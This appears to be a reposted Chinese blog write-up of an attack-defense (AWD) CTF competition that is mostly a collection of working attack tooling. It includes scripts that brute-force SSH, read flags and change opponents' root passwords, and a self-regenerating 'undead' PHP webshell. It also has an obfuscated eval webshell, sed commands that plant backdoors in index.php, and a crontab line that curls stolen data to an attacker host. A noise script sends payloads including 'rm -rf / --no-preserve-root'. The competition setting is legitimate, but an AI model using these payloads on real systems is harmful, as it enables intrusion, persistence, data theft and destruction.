速成AWD并获奖的学习方法和思考记录

前言

这是一个市赛。之前没有怎么打过AWD,所以进入决赛后只有三天的准备时间,期间我不停的请教大佬,阅读各类文章,受益颇深,做此纪录,奉献给掌控的各位同学学习。

在AWD中本是三人一队,可惜我所在的单位,只有我一个人会网安,所以我拉了一个开发的同志来和我去打AWD,他负责防御,我负责攻击。今天刚刚比赛完做此纪录,最终的一个成果是第四名总共有十五支强队。

比赛承接单位是安恒,在安恒的线下AWD遇到了很多各种奇葩事情特此作为记录。

速成学习期间

在学习期间,我不断虚心讨教许多同学,也很感谢能为我解答,其次就是大量的文章经验积累,摸清一整个AWD的模式和玩法,以及一些骚操作和思路
因为我是主攻击,所以我就不多说防御的事情,只能是说说思路问题

环境情况

安恒的比赛是可以上awd的,选手可以带电脑,期间可以上网查资料
所以这是一场靠底子和手速的一场战斗,脚本面前,众生平等。
一个队伍一个c段,且机器ip不连续,官方会发出靶机资产表
一个队伍,两台服务器Web-Linux要去做加固

防御

1、上去ssh直接更改密码
要提前和队友沟通好密码是什么,别比赛了一点默契都没有还要不停的问
2、上文件监控脚本、waf
这里别上通防,waf和通方还是有区别的,被裁判cheke到是会扣大分的
3、打包备份网站源码
4、修改mysql密码
5、修改后台密码
6、查看网站基本情况,把所有的功能点适当的去修复或者注释掉关键传参

攻击

我原本因为赛场上是不能上网的,但是又能带电脑,所以我准备了不少工具和离线文库

工具清单准备:

ssh连接工具、burp、Railgun、脚本
kali的peiqi文库:http://192.168.145.133/wiki/cms/
本地白泽文库
winscp、seay代码审计、Goby、Fscan、dirsearch
调试共享文件

做好万全之策,在比赛中才不会慌乱的去找软件打开,在比赛前就要把所有东西都准备好

1、登录ssh该密码,用脚本批量获取flag并且改密码

passwd #改密码
然后举办方给的密码,按照实际情况,如果是可批量改密码的情况,直接上ssh脚本批量改密码
查看可登录系统的用户
尝试爆破ssh其他账号
一旦爆破成功,马上写进脚本中
查询可登录系统的用户 cat /etc/passwd |grep "/bin/bash"
按照以往的AWD逻辑中,都会有一段时间给选手进行系统加固,但是安恒的比赛没有,所以很刺激,一开局就是攻击,但是我们再此之前都是按照常规的AWD去做准备的,所以我想了新的打法。开局只攻不防,脚本和手速面前,众生平等。

`根据安恒的规则情况,我们不能按照常规的打法去做“先防御好再攻击”,因为我们只有两个人,并且还有两台服务器,我们不能同时去做防守再来攻击。这样的话后续对我们很不利,漏洞只会越来越少,不会越来越多

所以我想着让队友直接登录A机器进行扫后门改密码,我登录B机器扫后门改密码。所以我们目前的攻击点有两个,第一个是SSH弱口令、第二个是后门WebShell;在第一点中我会和大家说SSH密码批量获取FLAG以及修改他的密码,让他们坐牢到比赛结束`

我们拿到默认密码之后,直接用脚本批量去改。

脚本解释
# cat其他人flag并且修改掉ssh的弱口令,NC高位端口连接即有shell的也有单独列出来的

import paramiko
import pexpect
import threading
import time

username = ['root']
passwd = ['123456']


def C(cmd, newpw, username, passwd, ip):
    for i in range(0, len(username)):
        U = username[i]
        print("用户名为:", U)
        for j in range(0, len(passwd)):
            print("密码为:", passwd)
            P = passwd[j]
            print("正在连接", ip)
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            try:
                ssh.connect(hostname=ip, port=22, username=U, password=P, timeout=1)
                stdin, stdout, stderr = ssh.exec_command(cmd)
                flag = stdout.read().decode('utf-8')
                print("目标:" + ip + "存在漏洞,内容为:" + flag, end='')
                print("IP:" + ip + "密码已修改成:" + newpw)
                check = "echo" + " root:" + newpw + " | chpasswd"
                stdin1, stdout1, stderr1 = ssh.exec_command(check)
                ssh.close()
            except:
                pass


def addusername(end1):
    for i in range(0, end1):
        end1 = str(end1)
        i = str(i)
        Loading = input("一共输入" + end1 + "个用户,请输入第" + i + "个值:")
        username.append(Loading)
        print(username)
    return username


def addpasswd(end2):
    for i in range(0, end2):
        end2 = str(end2)
        i = str(i)
        Loading = input("一共输入" + end2 + "个密码,请输入第" + i + "个值:")
        passwd.append(Loading)
        print(passwd)
    return passwd


def NC(END):  # 注意!!!该方法只能在Linux中也就是kali中运行,因为pexpect中的函数是不支持在windows中运行的
    while (1):  # 可一直循环占坑,防止其他人连接
        for i in range(0, END):
            host = '192.168.132.' + str(i)
            a = pexpect.spawn("nc %s 8888:" % host)  # 指定高位端口
            a.setecho(False)
            a.sendline('cat /flag.txt')
            a.sendline('exit')
            flag = a.read()
            print(host + ':' + flag)

f = open('ip.txt', encoding='utf-8')
if __name__ == '__main__':
    cmd = input("请输入值你需要执行的命令:")
    newpw = input("需要修改的密码:")
    while True:
        line = f.readline()
        if line:
            try:
                threads = [10]
                a = threading.Thread(target=C, args=(cmd, newpw, username, passwd, line))
                a.start()
            except:
                print('异常:' + line)
        else:
            break

f.close()

若成功,请尝试关闭对手的http服务,用这个脚本,这个脚本仅做命令执行用

关闭选手的HTTP让他掉大分的同时,我们也可以获取他的flag进行加分,直接拉开距离,同时也避免了其他攻击队伍获取的flag


#这个脚本仅用于登录读取flag用,速度较快

import paramiko #paramiko是一个用于做远程控制的模块
import threading #threading模块是Python里面常用的线程模块
def ssh2(ip,username,passwd,cmd):
  try:
    ssh=paramiko.SSHClient() #创建一个ssh对象
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #自动选择yes
    ssh.connect(ip,22,username,passwd,timeout=0.1) #连接服务器
    for m in cmd:
      stdin,stdout,stderr=ssh.exec_command(m) #执行操作
      out=stdout.readlines() #获取命令执行的结果
      for o in out:
        print(o)
    print('%s\tOK\n'%(ip))
    ssh.close()
  except:
    print('%s\tError\n'%(ip))
if __name__=='__main__':
  cmd=['cat /flag']
  username='root'
  passwd='root'
  threads=[10]
  for i in range(1,130):
    ip='192.168.23.'+str(i)
    a=threading.Thread(target=ssh2,args=(ip,username,passwd,cmd))
    a.start()

1-2、把网站源码拖出来d盾和seay进行扫描

把打包的文件下载下来
tar -zcvf mzy.tar.gz ./
图片[1]-速成AWD并获奖的学习方法和思考记录-星辰信安

图片[2]-速成AWD并获奖的学习方法和思考记录-星辰信安

图片[3]-速成AWD并获奖的学习方法和思考记录-星辰信安

改进

在这点中算是过基操,但是会有一个问题,一旦比赛因为环境或者网络因素,在打包源码或者在下次压缩包回来太慢了亦或者是其他因素,我们会吃大亏的。
于是我开始回忆起,平时在单位做Linux应急,都是用一些脚本去自动收集信息,例如:IP外连情况、网络进程、计划任务、可疑账户等信息
所以我在想,有没有什么可以直接略过打包源码、下载源码这个过程呢?
于是乎不停的思考,上网寻找文献发现,河马有一个Linux的webshell检测工具,我只能说很好用,强力推荐,因为这使我们能减少一部分的工程量
linux版本的河马
上传上去之后,直接运行这一行命令
chmod 777 ./hm64;./hm64 scan /var/www/html

图片[4]-速成AWD并获奖的学习方法和思考记录-星辰信安

有图可见,直接运行命令之后,他会当前文件下生成一个result.txt
结果就在其中
优点:优化了我们打包下载的过程,非常方便,直接看文件所在路径,直接看内容,然后复制他的路径直接贴到网站上进行复现,也是非常方便的咧

2、扫端口

先讲讲常规方法
一般来说都是直接nmap -A -T4 127.0.0.1 -p 1-65535

以下是一些服务端口的漏洞:
22:ssh弱口令
873:未授权访问漏洞
3306:mysql弱口令
6379:redis未授权访问漏洞

但是nmap扫描的速度太慢,其他软件也不太合适,于是乎我翻出了我清朝前的老工具

需要考虑到另外一种情况就是,如果举办方不给密码的情况下,我们可以尝试爆破
端口扫描和暴力破解都可以在一个软件上使用
测试图
你看,就这样的,还要什么nmap?还要什么九头蛇?

图片[5]-速成AWD并获奖的学习方法和思考记录-星辰信安

3、WebShell后门利用

这个环节比较拼手速,只要速度够快 就能得到更多的分数
在前面,我们假设D盾或者河马扫描出漏洞之后,可以直接用脚本跑起来拿flag
然后看其中的传参,进行复现
其次再用脚本批量去复现

这里附一个简单的python的get请求flag的脚本

import requests

for i in range(1,255):
    #http://192-168-1-30.pvp2161.bugku.cn/index.php?k=assert
    url = 'http://162.14.69.58/a.php?1=system(%27cat /flag%27);'
    print(url+"\n")
    try:
        res = requests.get(url,timeout=1)
        print(res.text)
    except:
        print("未找到主机")

这里附一个简单的python的POST请求flag的脚本

脚本内容不做过多阐述,大家自己阅读代码即可



import re
import requests

file_ip = open('runList.txt', encoding='utf-8')
overtime = 0.2
mode = True
method = 'post'
agreement = 'http://'
flag_path = '/a.php'
password_key = '1'
command = 'system(\'whoami\')'
password = 'pw'
data = {
    password: 'meTQL4s9jchyLBKq',
    password_key: command,
}
while True:
    line = file_ip.readline()
    if line:
        try:
            res = requests.request(method, agreement + line.rstrip() + flag_path, data=data, timeout=overtime)
            if res.status_code == 200:
                filename = 'flag.txt'
                with open(filename, 'a', newline=None) as file_object:
                    if mode:
                        file_object.write(re.findall(re.compile(r'[{](.*?)[}]', re.S), res.text)[0] + '\n')
                    else:
                        file_object.write(res.text + '\n')
        except:
            print(line)
    else:
        break
file_ip.close()

这里的脚本会获取存活IP列表中的IP进行批量获取flag
flag获取到之后,会生成一个flag.txt

这里再附加一个flag批量提交脚本

可根据比赛提供的Token去进行填写

import time
import requests

flag = open('flag.txt', encoding='utf-8')
overtime = 0.2
method = 'post'
url = 'http://192.168.23.129/flag.php'

while True:
    line = flag.readline()
    if line:
        data = {
            'token': '',
            'flag': line,
        }
        try:
            res = requests.request(method, url, data=data, timeout=0.05)
            if res.status_code == 200:
                filename = 'flagLog.txt'
                with open(filename, 'a', newline=None) as file_object:
                    file_object.write(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) + '\t|\t' + res.text + '\n')
        except:
            print('异常:' + line)
    else:
        break
flag.close()

权限维持

我这里研究了多种比较有意思的权限维持手法,这里给大家都分享一下

不死马

权限维持首当其充当然是不死马优先啦
给大家提供一个简单的不死马

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.3.php';
    $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){<span class="label label-primary">@eval($_POST[a]);}</span> ?>';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .3.php');
        usleep(5000);
    }
?>

把这个代码上传到对方的服务器上,并且访问一下这个php文件,他就会开始运行。开始运行的时候,他就会把自己给kill掉,在内存中不断的运行!

图片[6]-速成AWD并获奖的学习方法和思考记录-星辰信安
就选手发现不死马,删除也会再次生成。无限生成,看看代码内容就知道 while (1)就是永远为真,永远循环生成运行的意思
这个时候,我们就可以根据不断生成的不死马去访问获取flag!
每一轮都能锤一次

软连接

ln -s /flag /var/www/html/flag

我们打开虚拟机可以测试一下

图片[7]-速成AWD并获奖的学习方法和思考记录-星辰信安
可见我们的网站目录下也有一个flag了
图片[8]-速成AWD并获奖的学习方法和思考记录-星辰信安
如果我们ls -al看一下就可以发现他是从哪里来的,如果被发现一删除,那么我们软连接就失效了,就特没意思

图片[9]-速成AWD并获奖的学习方法和思考记录-星辰信安
所以我们继续思考是否还能否加深利用
这个时候,我在看应急响应的文章看到了crontab,就恍然大悟,这个是Linux的定时计划任务,我貌似也能靠这个东西帮我生成,也算是半成品的不死软连接了哈哈哈哈
两分钟执行一次软连接命令

  (echo "*/2 * * * * /bin/ln -s /flag /var/www/html/flag" )| crontab

图片[10]-速成AWD并获奖的学习方法和思考记录-星辰信安
经过本人的测试,我把网站目录下的flag删除之后,两分钟后他也会自己继续生成在目录中
我们在比赛的时候,可以把软连接藏在网站目录的小角落中,即使对方有类似与河马这样的查杀工具也无用,因为我们这个并不是木马,也不是什么有害文件
但是这样的话,我们还是要一个一个去获取flag也麻烦,我就在想能不能利用这个crontab帮我们去提交他自己的flag捏?
于是乎就有了这个命令

让对方每隔五分钟帮我提交一次flag,且提交的flag还是自己的flag,提交到我的flag的API接口中,帮我加分
是不是听起来很棒?哈哈哈哈,大家也可以去试试
(echo "*/5 * * * * curl 10.10.10.5:8000/submit_flag/ -d 'flag='$(cat /flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'" )| crontab

插入一句话木马到php文件中

我的想法是,做权限维持,我想把一句话木马插入对方原有的海量代码文件中,例如index、config之类的
我尝试过echo之类的命令去进行插入,其实都不太行,最后我找到了sed命令,还是挺好用的,不过要看实际情况的环境权限问题

sed -i '1 i <?php <span class="label label-primary">@eval($REQUEST[888]);?</span>>' /var/www/html/index.php

可以插入指定文件的第一行,但是那个页面会边空白,这个还没有去深入研究,暂且就这样了也能用
但是这样的话,很容易被看出来,于是乎
我找了一个免杀马,极不容易辨别出是一句话木马
如果插入在海量文件中的某一行,也是极难发现的

免杀马
<?php ${(chr(63)^chr(96)).(chr(60)^chr(123)).(chr(62)^chr(123)).(chr(47)^chr(123))}[(chr(43)^chr(64))](${(chr(36)^chr(123)).(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).(chr(47)^chr(123))}[(chr(43)^chr(64))]); ?>

这里给大家提供多几个木马去留着用

php: <?php <span class="label label-primary">@eval($_POST['pass']);?</span>>      <?php eval($_GET['pass']); 
asp:   <%eval request ("pass")%> 
aspx:

烟雾弹

如果在时间充裕的情况下 可以玩一玩,很多人是会去看流量日志,去看payload回来复现的,所以不让他们拿到我们可以一直打烟雾弹做流量干扰

图片[11]-速成AWD并获奖的学习方法和思考记录-星辰信安

import requests
import time

#制造大量垃圾流量,干扰对方选手甄别我方攻击流量


def scan_attack():
    file={'shell.php','admin.php','web.php','login.php','1.php','index.php'}
    payload={'cat /flag','ls -al','rm -f','echo 1','echo 1 /proc/sys/net/ipv4/ip_forward','rm -rf / --no-preserve-root'}
    while(1):
        for i in range(1,255):
            for ii in file:
                url='http://192-168-1-'+ str(i)+'.pvp2162.bugku.cn/'+ii
                print(url)
                for iii in payload:
                    data={
                        'payload':iii
                    }
                    try:
                        requests.post(url,data=data)
                        print("正在搅屎:"+str(i)+'|'+ii+'|'+iii)
                        time.sleep(0.1)
                    except Exception as e:
                        time.sleep(0.1)
                        pass
if __name__ == '__main__':
    scan_attack()

黑白盒测试阶段

在打AWD阶段不能是仅仅靠一个ssh弱口令和后门,是不足够的
我们需要快速找到系统漏洞,最好是有针对性的找漏洞,例如文件上传、文件包含、sql注入、命令执行等漏洞去进行测试,如果可以上网的情况下,当然好办
直接上网查

如果不能上网,那就搭建本地文库,这里推荐佩奇文库、白泽文库、零组文库
这个是搭建在本地的喔

图片[12]-速成AWD并获奖的学习方法和思考记录-星辰信安
值得一提的是,如果我们没有办法在文献中找到可利用的漏洞,那么请不要死磕cms
可以去看看中间件漏洞,例如ThinkPHP、Apache等
今天打完的这个比赛就是如此,我那是一款国外的fishfishcms

图片[13]-速成AWD并获奖的学习方法和思考记录-星辰信安

图片[14]-速成AWD并获奖的学习方法和思考记录-星辰信安
网上也极少此cms的漏洞公布,基本找不到poc
但是在后台登录失败的时候,我看见了一个笑脸
那时候我就断定,这个是ThinkPHP毫无疑问
图片[15]-速成AWD并获奖的学习方法和思考记录-星辰信安
我果断直接拿出工具直接梭哈,发现cms存在ThinkPHP存在5.0.23RCE
当时可能因为网站结构问题,rce无回显,我就直接上传shell了,这个上传shell让我不得不吐槽一个工具,让我掉大分了

图片[16]-速成AWD并获奖的学习方法和思考记录-星辰信安

这个工具上传的shell还是可以用的,但是我没注意执行命令的回显结果,我当时太忙了 很着急复现拿flag,
我就没注意到我执行whoami的时候 页面上有两个
www-datawww-data
我就直接给全场的人都上了马
然后想批量提交flag的时候一直没加分
我就很好奇,就直接去手工提交flag,想看看咋回事,一直报错,但是一直提交不上,一直说我flag有问题,但是奇怪的是这明明没问题啊 我还以为是举办方机器出问题了
后来分析了一下,才发现,
他的shell给我输出了两个连在一起的flag,才导致我交不上flag,不然我就第三名了
这个工具让我耽误事儿了!!!!气死了!!!!!
图片[17]-速成AWD并获奖的学习方法和思考记录-星辰信安

http://1.14.73.232/peiqi.php

peiqi=system('curl http://162.14.101.108/index.php?token=5946_USR-20230427-17gpw ');

他的马我没注意看,但是我猜测马的内容应该是这样的,两个eval了
图片[18]-速成AWD并获奖的学习方法和思考记录-星辰信安

没发现漏洞的情况

如果大家在比赛期间没有发现漏洞的情况下,也没关系不必着急,做好你该做的事情,不要自乱阵脚。我们可以根据流量日志去分析大家锤你的payload去进行复现漏洞,然后你就有攻击payload去锤别人了

读取网站日志文件

第一种情况:没有流量监控脚本的情况下使用

这个是实时显示网站的流量日志,这个log的存放位置需要大家自行更改

tail -f /var/log/rzhi.log

或者直接搜索日志中的敏感关键字

自己写的log文件中进行搜索关键字如(flag、cat、curl),一旦分析出攻击方法便可提供给队友,再分析流量便可知道是哪个ip攻击的我方服务器。这里的分析分为几种情况,要分情况进行决策。
grep "cat /flag" -A 1 ./access.log |tail -n 10

案例:看看谁访问过我的robots.txt
grep "robots.txt" -A 1 ./access.log |tail -n 10

图片[19]-速成AWD并获奖的学习方法和思考记录-星辰信安

第二种:有流量监控脚本的情况下使用

使用队友的监控脚本去复现payload

补充一些小知识点

文件读取常见Payload
url?f=/root/flag.txt
url?aaa=system(‘cat /root/flag.txt’);
url?url=file://localhost/root/flag.txt

文件上传绕过手法
https://bbs.zkaq.cn/homework/20572.html

总结:

心态很重要,不要催队友搞他心态哈哈哈哈
不要自乱阵脚,我也算是三天速成AWD了,给大家分享的内容有限,后续我会继续学习更新。对于本次的成绩也算是认可,但是有点不甘心,因为获取到flag输出了俩遍,我没有注意到,我的心境乱了,导致我没有认真去分析我所发生的问题

大家不要把全部经历投入与研究攻防,更多的时间应该跟组委会或者裁判去沟通网络环境、物理机环境、比赛环境等,要做到明白、清楚!
举例如:你准备的脚本都是打C段的,万一举办方给的靶机环境都是一个队伍一个B段呢?这不就把你干懵逼了?准备十几个脚本都用不上那么现场是没有那么多时间给你改脚本的。
不管结果如何,比赛的名次不是一个句号,只是一个过程,继续努力

文章转载自:Track安全社区

温馨提示:一切未经授权的渗透测试行为均为违法行为。
© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享